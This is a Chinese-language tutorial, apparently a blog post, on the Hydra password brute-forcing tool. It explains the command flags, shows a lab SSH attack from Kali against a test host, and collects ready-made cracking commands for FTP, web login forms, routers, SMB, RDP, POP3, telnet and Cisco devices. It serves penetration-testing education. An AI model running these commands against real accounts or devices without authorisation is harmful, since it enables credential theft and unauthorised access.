密码爆破工具——九头蛇(hydra)
九头蛇hydra
记得美国队长中的大反派hydra(九头蛇)组织吗?
今天介绍的这款渗透测试工具,也叫这个名字。
hydra是著名组织thc的一款开源的暴力破解密码工具,功能非常强大
kali下是默认安装的,几乎支持所有协议的在线破解。
密码能否破解,在于字典是否强大以及电脑的性能。
我们就介绍下,这个装备怎么用
使用方法
语法:Hydra 参数 IP 服务
复制代码
参数:
-l login 小写,指定用户名进行破解
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file 大写,用于指定密码字典。
-e ns 额外的选项,n:空密码试探,s:使用指定账户和密码试探
-M file 指定目标ip列表文件,批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数,默认是16
-w time 设置最大超时时间,单位
-v / -V 显示详细过程
-R 恢复爆破(如果破解中断了,下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。)
-x 自定义密码。
复制代码
service:指定服务名,支持的服务跟协议有:telnet,ftp,pop3等等。
注意点:1.自己创建字典,然后放在当前的目录下或者指定目录。
2.参数可以统一放在最后,格式比如hydra ip 服务 参数。
3.如果能确定用户名一项时候,比如web登录破解,直接用 -l就可以,然后剩余时间破解密码。
4.缺点,如果目标网站登录时候需要验证码就无法破解。
5.man hydra最万能。
6.或者hydra -U http-form等查看具体帮助。
复制代码
案例分析
暴破ssh登录密码
环境介绍
攻击机:kali
装有hydra工具靶机:192.168.154.131
安装ssh服务,正常运行
复制代码
为了测试方便,我们创建两个简单的字典文件,如下:
开始爆破
根据命令参数,组织参数格式如下:
root@kali:/mnt# hydra -L user.txt -P password.txt -t 2 -vV -e ns 192.168.154.131 ssh
复制代码
破解成功
因为字典数量比较少,我们可以轻易的破解成功,但是实际情况下,我们可能需要很久。
测试登录
使用得到的用户名/密码登录服务器,登录成功
各种协议破解汇总
FTP协议破解
破解ftp:hydra -L 用户名字典 -P 密码字典 -t 6 -e ns IP地址 -v
复制代码
http协议破解
get方式提交,破解web登录:hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns IP地址 http-get /admin/
hydra -L 用户名字典 -P 密码字典 -t 线程 -v -e ns -f IP地址 http-get /admin/index.phppost方式提交,破解web登录:hydra -f -l 用户名 -P 密码字典 -V -s 9900 IP地址 http-post-form "/admin/index.php?action=login:user=USER&pw=PASS:"#/index.php …这个是登录的 url
#后门是POST的数据 其中的用户名密码使用 USER PASS 来代替
#然后是如果登录出错 会出现的字符 。。。然后开始破解
复制代码
https协议破解
破解httpshydra -m /index.php -l 用户名 -P 密码字典.txt IP地址 https
复制代码
路由器破解
hydra -l admin -x 6:10:1a.~!@#$%^&()-= -t 8 192.168.1.1 http-get /
-l admin 为尝试破解的用户名。# -x 6:10:1a. 表示枚举的密码由 数字、小写字母和单字符’.'等等组成,长度为 6 - 10 位。-t 8 表示分 8 个并行任务进行爆破尝试。192.168.1.1 为 Router 地址。http-get 为破解方式(协议)
复制代码
http-proxy协议破解
破解http-proxy:hydra -l admin -P 字典.txt http-proxy://IP地址
复制代码
smb破解
破解smb:hydra -l 用户名字典 -P 密码字典 IP地址 smb
复制代码
Windows远程桌面
破解rdp(windows远程登录):hydra ip地址 rdp -l administrator -P 密码字典.txt -V
复制代码
邮箱pop3
破解邮箱pop3:hydra -l 用户名 -P 密码字典.txt my.pop3.mail pop3
复制代码
telnet破解
hydra ip地址 telnet -l 用户字典.txt -P 密码字典.txt -t 32 -s 23 -e ns -f -V
复制代码
语音通讯工具teamspeak
hydra -l 用户名字典 -P 密码字典.txt -s 端口号 -vV ip teamspeak
复制代码
cisco
hydra -P 密码字典 IP地址 cisco
hydra -m cloud -P 密码字典 IP地址 cisco-enable
。
密码爆破工具——九头蛇(hydra)相关推荐
- 【渗透测试】密码爆破工具——九头蛇(hydra)使用详解及实战
九头蛇hydra 记得美国队长中的大反派hydra(九头蛇)组织吗? 今天介绍的这款渗透测试工具,也叫这个名字. hydra是著名组织thc的一款开源的暴力破解密码工具,功能非常强大 kali下是默 ...
- 【渗透测试】密码暴力破解工具——九头蛇(hydra)使用详解及实战
目录 九头蛇hydra 使用方法 案例分析 暴破ssh登录密码 环境介绍 开始爆破 破解成功 测试登录 各种协议破解汇总 FTP协议破解 http协议破解 https协议破解 路由器破解 http-p ...
- Medusa(美杜莎)和Hydra(九头蛇)快速入门手册:02
本文是Medusa和Hydra快速入门手册的第二部分,第一部分的传送门这两篇也是后续爆破篇的一部分,至于字典,放在最后,后续会把祖传的几十G字典准备好 Hydra入门使用手册 vanHauser Th ...
- kail里面的美杜莎和九头蛇的利用
九头蛇和美杜莎 九头蛇 hydra -l root -P passwd.txt -t 5 -v 172.16.102.250 mysql hydra -l root -P passwd.txt smb ...
- Hydra(九头蛇)弱口令爆破工具详解
目录 1.简介 2.命令 3.安装 4.案例 5.官网 1.简介 hydra,中文名"九头蛇",弱口令暴力破解工具,开源,AGPLv3协议.该工具支持多种协议,也支持并行连接,并且 ...
- Hydra(九头蛇)工具使用
Hydra工具使用 1.Hydra简介 1.1.Hydra介绍 1.2.Hydra支持协议 1.3.Hydra下载 2.Hydra使用 2.1.Hydra基本使用方式 2.2.Hydra常用参数 2. ...
- hydra(九头蛇)爆破常见端口
整理一下 hydra 端口爆破命令语法 目录: 1. 21端口爆破命令 2. 22端口爆破命令 3. 1433端口爆破命令 4. 3306端口爆破命令 ...
- Medusa(美杜莎)和Hydra(九头蛇)快速入门手册:01
今天主要是初步介绍一些Hydra和Medusa的分析和内容,旨在方便快速入门,这是第一部分Medusa,后面附带一些字典,之所以是写一起,我是觉得这两个都是不错的工具,不应该分开的,在这种思想下就汇总 ...
- hydra九头蛇详细教程(5分钟内快速学会)
hydra详细教程(本文的目的是使小白能一眼看懂,在5分钟之内能够直接使用hydra,在实验中更好的学习,进行大多数的破解) hydra工具介绍 hydra又名九头蛇,是一款爆破神器. 支持linux ...
最新文章
- 【VS实践】如何在vs中自动添加注释
- Entity 监听器
- 2017-2018-2 20179209《网络攻防》第六周作业
- 如何实施好基于MOSS的企业搜索项目(上)
- Tensorflow实践 基本原理学习和框架使用
- lstm解决梯度消失
- libcrypto yum 安装_YUM 安装 VSFTP出错
- C++ Priemer目录索引
- 分布式事物(同样适用于dubbo事务等分布式事务)
- 开源的“谷歌AutoML杀手”来了
- tftp: timeout
- php添加ico,PHP生成ICO图标的代码
- 如何使用scrapy中的ItemLoader提取数据?
- 从零开始玩转Franka Panda机器人
- 共享书籍同类产品调研
- 健身增肌-腿部力量练习
- Qt写的流量监控 and 网络延迟 and 自动隐藏
- PPT批量修改所有字体
- C语言读配置文件-自动封装Windows系统服务--20210512
- java架构师入门教程,java技术架构师入门到精通高薪就业教程百度云下载